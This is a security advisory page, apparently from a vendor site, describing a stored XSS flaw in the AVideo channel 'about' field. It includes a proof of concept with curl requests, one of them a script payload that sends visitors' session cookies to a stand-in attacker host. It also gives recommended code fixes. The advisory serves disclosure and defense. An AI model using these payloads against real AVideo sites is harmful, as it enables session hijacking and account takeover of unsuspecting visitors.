Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist

GHSA-ghx5-7jjg-q2j7

MEDIUM

AVideo vulnerable to Stored XSS via html_entity_decode() Reversing xss_esc() Sanitization in Channel About Field

Also known asCVE-2026-33683
Published
Mar 25, 2026
Updated
Mar 25, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk7th percentile+0.14%
0.00%0.23%0.45%0.68%0.0%0.0%0.0%0.2%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A sanitization order-of-operations flaw in the user profile "about" field allows any registered user to inject arbitrary JavaScript that executes when other users visit their channel page. The xss_esc() function entity-encodes input before strip_specific_tags() can match dangerous HTML tags, and html_entity_decode() on output reverses the encoding, restoring the raw malicious HTML.

Details

Input sanitization in objects/user.php:156:

public function setAbout($about)
{
    $this->about = strip_specific_tags(xss_esc($about));
}

The call order is strip_specific_tags(xss_esc($about)). The inner xss_esc() function (objects/functionsSecurity.php:233) calls htmlspecialchars():

$result = @htmlspecialchars($text, ENT_QUOTES, 'UTF-8');

This encodes <script>alert(1)</script> to &lt;script&gt;alert(1)&lt;/script&gt;.

Then strip_specific_tags() (objects/functions.php:6623-6636) runs regex patterns to remove dangerous tags:

$string = preg_replace('/<' . $tag . '[^>]*>(.*?)<\/' . $tag . '>/s', $replacement, $string);

But the regex looks for literal <script> — it can never match the entity-encoded &lt;script&gt;. The sanitizer is completely neutralized by the encoding that precedes it.

Output in view/channelBody.php:239-246:

$about = html_entity_decode($user->getAbout());
if (!empty($advancedCustomUser->showAllAboutTextOnChannel)) {
    echo $about;
} else {
?>
    <div id="aboutAreaPreContent">
        <div id="aboutAreaContent">
            <?php echo $about; ?>
        </div>
    </div>

The html_entity_decode() call reverses the htmlspecialchars() encoding, restoring the original raw HTML including <script> tags. The result is echoed directly into the page without any further escaping.

Secondary vector: The <img> tag is not in the strip_specific_tags blocklist (['script', 'style', 'iframe', 'object', 'applet', 'link']), so payloads like <img src=x onerror=...> bypass even the intended tag stripping entirely.

The about field is set via objects/userUpdate.json.php:28, accessible to any logged-in user:

$user->setAbout($_POST['about']);

The channel page (view/channelBody.php) is publicly accessible — no authentication is required to view it.

PoC

Step 1: Log in as any registered user and update the "about" field:

curl -X POST 'https://TARGET/objects/userUpdate.json.php' \
  -H 'Cookie: PHPSESSID=ATTACKER_SESSION' \
  -d 'about=<img src=x onerror=alert(document.cookie)>&user=attacker&pass=password123&[email protected]&name=Attacker&analyticsCode=&donationLink=&phone='

Step 2: Any user (including unauthenticated visitors) navigates to the attacker's channel page:

https://TARGET/channel/attacker

Expected result: The JavaScript in the onerror handler executes in the visitor's browser, displaying their session cookie.

Alternative payload using <script> tag (also works due to the sanitization bypass):

curl -X POST 'https://TARGET/objects/userUpdate.json.php' \
  -H 'Cookie: PHPSESSID=ATTACKER_SESSION' \
  -d 'about=<script>fetch("https://attacker.example/steal?c="%2Bdocument.cookie)</script>&user=attacker&pass=password123&[email protected]&name=Attacker&analyticsCode=&donationLink=&phone='

Impact

  • Session hijacking: Attacker can steal session cookies of any user (including administrators) who visits their channel page
  • Account takeover: Stolen admin session tokens allow full administrative access to the AVideo instance
  • Phishing: Attacker can inject fake login forms or redirect users to malicious sites
  • Worm potential: Stored XSS could modify other users' profiles programmatically, creating a self-propagating worm

This is a stored XSS affecting all visitors to any attacker-controlled channel page, with no user interaction beyond navigating to the page.

Recommended Fix

Option 1 (Recommended — remove html_entity_decode): The entity-encoded string is already safe for display. Remove the decode call in view/channelBody.php:

// Before (VULNERABLE):
$about = html_entity_decode($user->getAbout());

// After (FIXED):
$about = $user->getAbout();

Option 2 (If rich HTML is intended): Reverse the sanitization order in objects/user.php:156 and use a proper sanitizer:

// Before (VULNERABLE):
$this->about = strip_specific_tags(xss_esc($about));

// After (FIXED — strip tags on raw HTML first, then encode):
$this->about = xss_esc(strip_specific_tags($about));

Option 3 (Best — if rich HTML in about is desired): Replace both strip_specific_tags() and xss_esc() with HTMLPurifier, which properly handles allowlisted HTML sanitization:

require_once 'vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,br,b,i,u,a[href],ul,ol,li,strong,em');
$purifier = new HTMLPurifier($config);
$this->about = $purifier->purify($about);

And on output, remove html_entity_decode() — output the purified HTML directly.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for GHSA-ghx5-7jjg-q2j7 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-ghx5-7jjg-q2j7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-ghx5-7jjg-q2j7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary A sanitization order-of-operations flaw in the user profile "about" field allows any registered user to inject arbitrary JavaScript that executes when other users visit their channel page. The `xss_esc()` function entity-encodes input before `strip_specific_tags()` can match dangerous HTML tags, and `html_entity_decode()` on output reverses the encoding, restoring the raw malicious HTML. ## Details **Input sanitization** in `objects/user.php:156`: ```php public function setAbout($about) { $this->about = strip_specific_tags(xss_esc($about)); } ``` The call order is `strip_sp
O3 Security · Impact-Aware SCA

Is GHSA-ghx5-7jjg-q2j7 in your dependencies?

O3 detects GHSA-ghx5-7jjg-q2j7 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.